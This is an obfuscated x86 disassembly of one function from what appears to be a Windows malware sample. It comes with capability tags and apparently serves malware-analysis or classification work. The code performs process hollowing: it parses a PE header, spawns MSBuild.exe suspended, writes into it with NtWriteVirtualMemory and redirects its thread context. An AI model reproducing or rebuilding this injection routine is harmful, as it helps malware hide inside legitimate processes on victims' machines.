Function at 0x100087f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x15c
mov eax, dword [0x10070c04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x15e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x15d], al
mov dword [ebp - 0x164], 0xd28a0ced
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x168], eax
sub eax, 0x80acca8d
je 0x1000ee50
jmp 0x10008863
mov eax, dword [ebp - 0x168]
sub eax, 0x812c1ea1
je 0x1000c8d1
jmp 0x10008879
mov eax, dword [ebp - 0x168]
sub eax, 0x8179875a
je 0x1000f98f
jmp 0x1000888f
mov eax, dword [ebp - 0x168]
sub eax, 0x81ab3901
je 0x10010295
jmp 0x100088a5
mov eax, dword [ebp - 0x168]
sub eax, 0x822d32a5
je 0x100102ce
jmp 0x100088bb
mov eax, dword [ebp - 0x168]
sub eax, 0x83438b58
je 0x1000f72d
jmp 0x100088d1
mov eax, dword [ebp - 0x168]
sub eax, 0x8363e5c2
je 0x1000b545
jmp 0x100088e7
mov eax, dword [ebp - 0x168]
sub eax, 0x840032b4
je 0x1000da94
jmp 0x100088fd
mov eax, dword [ebp - 0x168]
sub eax, 0x84c69438
je 0x1000fdff
jmp 0x10008913
mov eax, dword [ebp - 0x168]
sub eax, 0x85621262
je 0x1000bebf
jmp 0x10008929
mov eax, dword [ebp - 0x168]
sub eax, 0x88c60239
je 0x1000efe3
jmp 0x1000893f
mov eax, dword [ebp - 0x168]
sub eax, 0x8a74ca6d
je 0x1000d63b
jmp 0x10008955
mov eax, dword [ebp - 0x168]
sub eax, 0x8a92022f
je 0x100100b2
jmp 0x1000896b
mov eax, dword [ebp - 0x168]
sub eax, 0x8aae50d1
je 0x1000d3d0
jmp 0x10008981
mov eax, dword [ebp - 0x168]
sub eax, 0x8b9bcdd2
je 0x1000b3a8
jmp 0x10008997
mov eax, dword [ebp - 0x168]
sub eax, 0x8ba0894c
je 0x1000d62c
jmp 0x100089ad
mov eax, dword [ebp - 0x168]
sub eax, 0x8bf0e9bb
je 0x100102f2
jmp 0x100089c3
mov eax, dword [ebp - 0x168]
sub eax, 0x8ca711dd
je 0x1000cf1d
jmp 0x100089d9
mov eax, dword [ebp - 0x168]
sub eax, 0x8ce5ff32
je 0x1000b983
jmp 0x100089ef
mov eax, dword [ebp - 0x168]
sub eax, 0x8d0909a2
je 0x1000e5cc
jmp 0x10008a05
mov eax, dword [ebp - 0x168]
sub eax, 0x8d66418a
je 0x1000fcd1
jmp 0x10008a1b
mov eax, dword [ebp - 0x168]
sub eax, 0x8f0eab92
je 0x1000c431
jmp 0x10008a31
mov eax, dword [ebp - 0x168]
sub eax, 0x8f19c207
je 0x10010121
jmp 0x10008a47
mov eax, dword [ebp - 0x168]
sub eax, 0x91a3cb39
je 0x100104f5
jmp 0x10008a5d
mov eax, dword [ebp - 0x168]
sub eax, 0x91ff5451
je 0x1000b194
jmp 0x10008a73
mov eax, dword [ebp - 0x168]
sub eax, 0x92b7cd52
je 0x1000e157
jmp 0x10008a89
mov eax, dword [ebp - 0x168]
sub eax, 0x92db0342
je 0x100103a0
jmp 0x10008a9f
mov eax, dword [ebp - 0x168]
sub eax, 0x9341d43c
je 0x1000f12d
jmp 0x10008ab5
mov eax, dword [ebp - 0x168]
sub eax, 0x95ddfa91
je 0x1001068e
jmp 0x10008acb
mov eax, dword [ebp - 0x168]
sub eax, 0x96290ea8
je 0x1000d4ef
jmp 0x10008ae1
mov eax, dword [ebp - 0x168]
sub eax, 0x97d8fb36
je 0x1000b1c9
jmp 0x10008af7
mov eax, dword [ebp - 0x168]
sub eax, 0x97f7cae4
je 0x1000cc97
jmp 0x10008b0d
mov eax, dword [ebp - 0x168]
sub eax, 0x9849c618
je 0x1000db87
jmp 0x10008b23
mov eax, dword [ebp - 0x168]
sub eax, 0x99b48e16
je 0x100109c9
jmp 0x10008b39
mov eax, dword [ebp - 0x168]
sub eax, 0x9a6d9705
je 0x1000ad77
jmp 0x10008b4f
mov eax, dword [ebp - 0x168]
sub eax, 0x9b774ab3
je 0x1000b44a
jmp 0x10008b65
mov eax, dword [ebp - 0x168]
sub eax, 0x9ca76b82
je 0x1000b568
jmp 0x10008b7b
mov eax, dword [ebp - 0x168]
sub eax, 0x9d4c4275
je 0x1000c7df
jmp 0x10008b91
mov eax, dword [ebp - 0x168]
sub eax, 0x9d8f6ba3
je 0x1000e7bc
jmp 0x10008ba7
mov eax, dword [ebp - 0x168]
sub eax, 0x9dc13eb9
je 0x1001067f
jmp 0x10008bbd
mov eax, dword [ebp - 0x168]
sub eax, 0x9e6214c1
je 0x1000ae08
jmp 0x10008bd3
mov eax, dword [ebp - 0x168]
sub eax, 0xa1f5d11e
je 0x1000dd13
jmp 0x10008be9
mov eax, dword [ebp - 0x168]
sub eax, 0xa2fcdcf5
je 0x1000af1e
jmp 0x10008bff
mov eax, dword [ebp - 0x168]
sub eax, 0xa3528857
je 0x1000c8e0
jmp 0x10008c15
mov eax, dword [ebp - 0x168]
sub eax, 0xa35df65a
je 0x1000cb36
jmp 0x10008c2b
mov eax, dword [ebp - 0x168]
sub eax, 0xa444c085
je 0x100100c1
jmp 0x10008c41
mov eax, dword [ebp - 0x168]
sub eax, 0xa4946e34
je 0x1000c4cb
jmp 0x10008c57
mov eax, dword [ebp - 0x168]
sub eax, 0xa53479db
je 0x1000fe14
jmp 0x10008c6d
mov eax, dword [ebp - 0x168]
sub eax, 0xa5736216
je 0x1000ffe5
jmp 0x10008c83
mov eax, dword [ebp - 0x168]
sub eax, 0xa5d4d817
je 0x100103af
jmp 0x10008c99
mov eax, dword [ebp - 0x168]
sub eax, 0xa6088d52
je 0x1000c333
jmp 0x10008caf
mov eax, dword [ebp - 0x168]
sub eax, 0xa6a6284a
je 0x10010175
jmp 0x10008cc5
mov eax, dword [ebp - 0x168]
sub eax, 0xa73e7d1e
je 0x1000f7bf
jmp 0x10008cdb
mov eax, dword [ebp - 0x168]
sub eax, 0xa7d4d6d2
je 0x1000ca0d
jmp 0x10008cf1
mov eax, dword [ebp - 0x168]
sub eax, 0xa880207f
je 0x100108cf
jmp 0x10008d07
mov eax, dword [ebp - 0x168]
sub eax, 0xa8a07a12
je 0x1000c524
jmp 0x10008d1d
mov eax, dword [ebp - 0x168]
sub eax, 0xaa1640e1
je 0x10010335
jmp 0x10008d33
mov eax, dword [ebp - 0x168]
sub eax, 0xab26b1a9
je 0x1000dbfd
jmp 0x10008d49
mov eax, dword [ebp - 0x168]
sub eax, 0xabf36d1a
je 0x1000ace5
jmp 0x10008d5f
mov eax, dword [ebp - 0x168]
sub eax, 0xac5eb394
je 0x1000c23c
jmp 0x10008d75
mov eax, dword [ebp - 0x168]
sub eax, 0xadc04967
je 0x1000d185
jmp 0x10008d8b
mov eax, dword [ebp - 0x168]
sub eax, 0xaec6ccb1
je 0x1000e410
jmp 0x10008da1
mov eax, dword [ebp - 0x168]
sub eax, 0xaf3dec72
je 0x1000fe29
jmp 0x10008db7
mov eax, dword [ebp - 0x168]
sub eax, 0xb0035be2
je 0x10010382
jmp 0x10008dcd
mov eax, dword [ebp - 0x168]
sub eax, 0xb0422545
je 0x1001087f
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4ec00
call section..text
add esp, 8
mov eax, dword [ebp - 0x15c]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov dword [ebp - 0x164], 0x3330253b
jmp 0x100109fd
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0xe1], al
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
sub edx, 0xe320d865
sub edx, 1
add edx, 0xe320d865
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfba30265
mov ecx, 0x9e6214c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov dl, byte [ebp - 0xe1]
mov eax, 0xfb3bee48
mov ecx, 0x28e575d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xe0]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
mov dword [ebp - 0x164], 0xc3dedee4
jmp 0x100109fd
mov dword [ebp - 0x164], 0xc0689c2a
jmp 0x100109fd
mov dl, byte [ebp - 0xd1]
mov eax, 0xfe76302b
mov ecx, 0x701a42c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
mov edx, eax
add edx, 0x319386cc
sub edx, 1
sub edx, 0x319386cc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x20783992
mov ecx, 0x7536b5cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov eax, dword [ebp - 0xd0]
cmp dword [eax], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x144]
mov byte [eax], cl
mov eax, dword [ebp - 0x140]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
sub edx, 0xa482e2f4
sub edx, 1
add edx, 0xa482e2f4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8bf0e9bb
mov ecx, 0x4b53cd0c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov eax, dword [ebp - 0x144]
mov dl, byte [eax]
mov eax, 0x9ca76b82
mov ecx, 0x528c6496
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd5fac6d2
mov ecx, 0x4fd2de9b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14c]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
cmp eax, 0
setge al
and al, 1
mov byte [ebp - 0xc5], al
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc40fa32c
mov ecx, 0x139279f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
mov edx, eax
sub edx, 0x4e9cf784
sub edx, 1
add edx, 0x4e9cf784
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdb9e609
mov ecx, 0xb725b5d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
mov edx, eax
sub edx, 0xacccde47
sub edx, 1
add edx, 0xacccde47
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4b7af87a
mov ecx, 0xdaf4deb1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x124]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x124]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
add eax, 0x1cdf3e62
add eax, ecx
sub eax, 0x1cdf3e62
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x124]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
add eax, 0x2320c41
add eax, ecx
sub eax, 0x2320c41
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0xa0], eax
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
add edx, 0x6d669a41
sub edx, 1
sub edx, 0x6d669a41
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbc1f7eb3
mov ecx, 0x8f0eab92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x92db0342
mov ecx, 0x72a8ef08
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov dword [ebp - 0x164], 0x70d4a6d8
jmp 0x100109fd
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
sub edx, 0xe6b9346c
sub edx, 1
add edx, 0xe6b9346c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa5d4d817
mov ecx, 0x51b04a85
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
sub edx, 0xa3be27c6
sub edx, 1
add edx, 0xa3be27c6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x316c4682
mov ecx, 0x48e43940
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov dword [ebp - 0x164], 0x41009338
jmp 0x100109fd
mov eax, dword [ebp - 0x120]
mov dword [eax], 0
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x164], 0x4548fe87
jmp 0x100109fd
mov ax, word [ebp - 0x90]
movzx ecx, ax
mov eax, dword [ebp - 0x94]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x8d], al
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
mov edx, eax
sub edx, 0x68f2dc55
sub edx, 1
add edx, 0x68f2dc55
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb1275490
mov ecx, 0x19569bff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x118]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x118]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
add edx, 0x4054df20
sub edx, 1
sub edx, 0x4054df20
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd9e86f04
mov ecx, 0x29b75c64
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1ee0e55f
mov ecx, 0x4e204d9c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x164], 0x2d19bfee
jmp 0x100109fd
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
sub edx, 0x8df41470
sub edx, 1
add edx, 0x8df41470
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe2c05193
mov ecx, 0x42dd9c7e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov dword [ebp - 0x164], 0x1b9a8bf0
jmp 0x100109fd
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
add edx, 0xee3954d3
sub edx, 1
sub edx, 0xee3954d3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x59013e5d
mov ecx, 0xee5c368f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov dword [ebp - 0x164], 0x8a74ca6d
jmp 0x100109fd
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
add edx, 0x9294c99b
sub edx, 1
sub edx, 0x9294c99b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x84c69438
mov ecx, 0x568395e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
add edx, 0x582b3f19
sub edx, 1
sub edx, 0x582b3f19
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaf3dec72
mov ecx, 0x20be145f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
add edx, 0xbacb4f06
sub edx, 1
sub edx, 0xbacb4f06
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4e3cf12a
mov ecx, 0xab26b1a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x58], eax
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4e3cf12a
mov ecx, 0xb5a200a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov dword [ebp - 0x164], 0x5b828e53
jmp 0x100109fd
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
add edx, 0x869708dc
sub edx, 1
sub edx, 0x869708dc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x40a9c183
mov ecx, 0x727cdba8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov eax, dword [ebp - 0x14c]
mov edx, dword [eax]
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x38]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5b0d717d
mov ecx, 0xd063f10b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov dword [ebp - 0x164], 0x60ed490a
jmp 0x100109fd
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x164], 0xc2cc1b8e
jmp 0x100109fd
mov dword [ebp - 0x164], 0xed8897f8
jmp 0x100109fd
mov dword [ebp - 0x164], 0xf1b3d881
jmp 0x100109fd
mov dword [ebp - 0x164], 0x43abfe45
jmp 0x100109fd
mov dword [ebp - 0x164], 0x9a6d9705
jmp 0x100109fd
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfd611156
mov ecx, 0xd425b851
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10006750
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x164], 0x31a95da9
jmp 0x100109fd
mov dword [ebp - 0x164], 0xbf5a8393
jmp 0x100109fd
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x164], 0x568395e7
jmp 0x100109fd
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x164], 0xbd1b52e6
jmp 0x100109fd
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
mov edx, eax
sub edx, 0x47cbd5ea
sub edx, 1
add edx, 0x47cbd5ea
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe0eb2dad
mov ecx, 0xd3de9787
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
sub edx, 0x16f9ab5
